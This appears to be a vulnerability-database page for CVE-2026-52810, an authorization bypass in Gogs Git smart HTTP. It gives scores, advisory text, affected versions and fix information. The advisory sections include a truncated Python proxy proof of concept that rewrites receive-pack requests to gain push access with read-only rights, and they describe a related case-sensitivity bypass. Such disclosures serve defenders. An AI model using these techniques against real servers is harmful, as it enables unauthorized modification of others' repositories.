CVE-2026-52810

Gogs: Write to readonly repositories using receive-pack + service=git-upload-pack confusion

7.1 HighPublic exploitFix available

Gogs is an open source self-hosted Git service. Prior to 0.14.3, Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed. This vulnerability is fixed in 0.14.3.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: Low
User interaction: None

What an attacker can affect

Confidentiality: None
Integrity: High
Availability: Low

Exploit likelihood

0.43%Unchanged since Jun 25, 2026

What each source reports

CVE List Score used 7.1

Gogs: Write to readonly repositories using receive-pack + service=git-upload-pack confusion

Record: CVE-2026-52810
CVSS 4.0: 7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness: CWE-284
Updated: 2026-11-02

EUVDEUVD-2026-39081 7.1

Record: EUVD-2026-39081
CVSS 4.0: 7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
Updated: 2026-11-02

GitHub AdvisoriesGHSA-wmfg-5p4h-5fw3 7.1

Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion

Summary

Git smart HTTP authorizes POST …/git-receive-pack using the client-supplied service query string (so ?service=git-upload-pack is evaluated as read access) while routing still runs git receive-pack, allowing push where only read should be allowed.

Details

Gogs' Git Smart HTTP handler for repository RPCs relies on a client-supplied query parameter to decide which authorization policy to apply. The Git protocol exposes two primary RPCs over HTTP: upload-pack for fetch (read) and receive-pack for push (write).

In the affected implementation, the code derives the access mode from the service query parameter (for example, service=git-upload-pack) instead of the actual RPC path being executed. As a result, a request sent to the receive-pack endpoint can be incorrectly treated as a read operation if the query parameter claims it is an upload-pack. This behavior enables a request to POST to the write endpoint (/repo.git/git-receive-pack) while including a query string that indicates a read service.

Route dispatch still executes the receive-pack code path, but authorization is evaluated as if the request were a read. A user who is normally only allowed to read a repository, can now write to it.

One edge case is fully public repositories, viewable by anonymous users. Since performing this exploit results in a AuthUser property becoming nil in this case, a part of the code that uses it crashes (500 Internal Server Error), making it impossible to exploit.

The two situations in which this is vulnerable are:

Attacker = collaborator with only Read rights & victim = owner of the repository
Instance using REQUIRE_SIGNIN_VIEW = true. Attacker = any signed in user & victim = any user with a public repository

PoC

Create a Gogs instance (eg. http://localhost:3000) with 2 users: victim & attacker
As the victim, create a new private repository and add the attacker as a Read collaborator:

As the attacker, execute the following Python script (editing global vars as required):

from __future__ import annotations

import os
import shutil
import subprocess
import sys
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import quote, urlsplit, urlunsplit

import requests

REPO_URL = "http://localhost:3000/victim/target"
USERNAME = "attacker"
PASSWORD = "attacker"

class ProxyHandler(BaseHTTPRequestHandler):
    upstream_scheme: str
    upstream_netloc: str
    log_rewrite: bool

    def log_message(self, *_args) -> None:
        return

    def do_GET(self) -> None:
        self._relay("GET")

    def do_POST(self) -> None:
        self._relay("POST")

    def _relay(self, method: str) -> None:
        raw = self.path
        if raw.startswith("http://") or raw.startswith("https://"):
            u = urlsplit(raw)
            scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query
        else:
            u = urlsplit(raw)
            scheme, netloc, path, query = (
                self.upstream_scheme,
                self.upstream_netloc,
                u.path,
                u.query,
            )

        q = query or ""
        if path.endswith("/git-receive-pack") and "service=" not in q:
            query = f"{q}&service=git-upload-pack" if q else "service=git-upload-pack"
            if self.log_rewrite:
                sys.stderr.write(
                    f"[poc] rewrite receive-pack -> {path}?{query}\n")

        url = urlunsplit((scheme, netloc, path, query, ""))
        length = self.headers.get("Content-Length")
        body = self.rfile.read(int(length)) if length else None

        skip = {
            "host",
            "connection",
            "proxy-connection",
            "content-length",
            "transfer-encoding",
        }
        out_headers = {}…

Record: GHSA-wmfg-5p4h-5fw3
CVSS 4.0: 7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness: CWE-284
Updated: 2026-11-02

NVD 7.1

Record: CVE-2026-52810
CVSS 4.0: 7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Weakness: CWE-284
Updated: 2026-11-02

OSVCVE-2026-123012 7.1

In Gogs 0.14.3, the Git Smart HTTP authorization layer in internal/route/repo/http.go allows a push when only read access was intended, a different vulnerability than CVE-2026-52810. This occurs because of a case-sensitivity desync between the authorization classifier and the request dispatcher: the gitHTTPIsPull function compares the Git action verb case-sensitively and defaults to pull (read access) for any unrecognized string, whereas the request dispatcher lowercases the same verb before routing it to the receive-pack handler. Capitalizing a single letter in the URL (e.g. info/Refs instead of info/refs, or git-receive-Pack instead of git-receive-pack) causes the classifier to misidentify a push as a pull, granting only read-level authorization, whereas the dispatcher routes it to the write handler. An authenticated read-only collaborator can exploit this to push to a private repository, creating, updating, or deleting refs.

Record: CVE-2026-123012
CVSS 4.0: 7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:L/SA:N
Weakness: CWE-178
Updated: 2026-11-07

OSV 7.1

Gogs: Write to readonly repositories using receive-pack + service=git-upload-pack confusion

Record: CVE-2026-52810
CVSS 4.0: 7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness: CWE-284
Updated: 2026-11-05

OSVGHSA-wmfg-5p4h-5fw3 7.1

Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion

Summary

Details

Route dispatch still executes the receive-pack code path, but authorization is evaluated as if the request were a read. A user who is normally only allowed to read a repository, can now write to it.

The two situations in which this is vulnerable are:

Attacker = collaborator with only Read rights & victim = owner of the repository
Instance using REQUIRE_SIGNIN_VIEW = true. Attacker = any signed in user & victim = any user with a public repository

PoC

Create a Gogs instance (eg. http://localhost:3000) with 2 users: victim & attacker
As the victim, create a new private repository and add the attacker as a Read collaborator:

As the attacker, execute the following Python script (editing global vars as required):

from __future__ import annotations

import os
import shutil
import subprocess
import sys
import tempfile
import threading
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import quote, urlsplit, urlunsplit

import requests

REPO_URL = "http://localhost:3000/victim/target"
USERNAME = "attacker"
PASSWORD = "attacker"

class ProxyHandler(BaseHTTPRequestHandler):
    upstream_scheme: str
    upstream_netloc: str
    log_rewrite: bool

    def log_message(self, *_args) -> None:
        return

    def do_GET(self) -> None:
        self._relay("GET")

    def do_POST(self) -> None:
        self._relay("POST")

    def _relay(self, method: str) -> None:
        raw = self.path
        if raw.startswith("http://") or raw.startswith("https://"):
            u = urlsplit(raw)
            scheme, netloc, path, query = u.scheme, u.netloc, u.path, u.query
        else:
            u = urlsplit(raw)
            scheme, netloc, path, query = (
                self.upstream_scheme,
                self.upstream_netloc,
                u.path,
                u.query,
            )

        q = query or ""
        if path.endswith("/git-receive-pack") and "service=" not in q:
            query = f"{q}&service=git-upload-pack" if q else "service=git-upload-pack"
            if self.log_rewrite:
                sys.stderr.write(
                    f"[poc] rewrite receive-pack -> {path}?{query}\n")

        url = urlunsplit((scheme, netloc, path, query, ""))
        length = self.headers.get("Content-Length")
        body = self.rfile.read(int(length)) if length else None

        skip = {
            "host",
            "connection",
            "proxy-connection",
            "content-length",
            "transfer-encoding",
        }
        out_headers = {}…

Record: GHSA-wmfg-5p4h-5fw3
CVSS 4.0: 7.1 HighCVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:L/SC:N/SI:N/SA:N
Weakness: CWE-284
Updated: 2026-11-05

OSVGO-2026-5712 No score

Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion in gogs.io/gogs

Gogs allows users to write to readonly repositories using receive-pack + service=git-upload-pack confusion in gogs.io/gogs.

NOTE: The source advisory for this report contains additional versions that could not be automatically mapped to standard Go module versions.

(If this is causing false-positive reports from vulnerability scanners, please suggest an edit to the report.)

The additional affected modules and versions are: gogs.io/gogs before v0.14.3.

Record: GO-2026-5712
Updated: 2026-11-05

OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
GO-2026-5933 GHSA-3g4q-2f67-2gvh
GO-2026-5934 GHSA-59qp-cfj3-rp64
GO-2026-5935 GHSA-7856-g3gv-9wq8
GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
GO-2026-5942 CVE-2026-46600
GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
GO-2026-5969 GHSA-g936-7jqj-mwv8
GO-2026-5970 CVE-2026-56852
GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
GO-2026-5981 GHSA-mqxv-9rm6-w8qc
GO-2026-5982 GHSA-pqg7-v6wh-3pfp
GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
GO-2026-5985 GHSA-7rx3-5wx3-5v76
GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…

Record: openSUSE-SU-2026:21483-1
Updated: 2026-11-02

Affected products

gogs

Affected packages

Affected packages
Package	Affected	Fixed
`gogs.io/gogs` Go	before 0.14.3	0.14.3
`gogs.io/gogs` Go From an advisory covering 2 CVEs	before 0.14.3	0.14.3
`gogs.io/gogs` Go From an advisory covering 2 CVEs	All versions	None known
`govulncheck-vulndb` openSUSE:Leap 16.0 From an advisory covering 1734 CVEs	before 0.0.20260723T184607-160000.1.1	0.0.20260723T184607-160000.1.1

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
Source	Link	Date
PoC in GitHub	HORKimhab/CVE-2026-52810	2026-09-03

History

History
Recorded	Changed	Sources
Nov 7, 2026	references	OSV
Nov 6, 2026	affected
Nov 5, 2026	cwes, facts, references	OSV
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-52810 is a high vulnerability (CVSS 7.1) in Gogs, published June 23, 2026. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 0.43%, the 37th percentile. Fixed in gogs.io/gogs 0.14.3.

References

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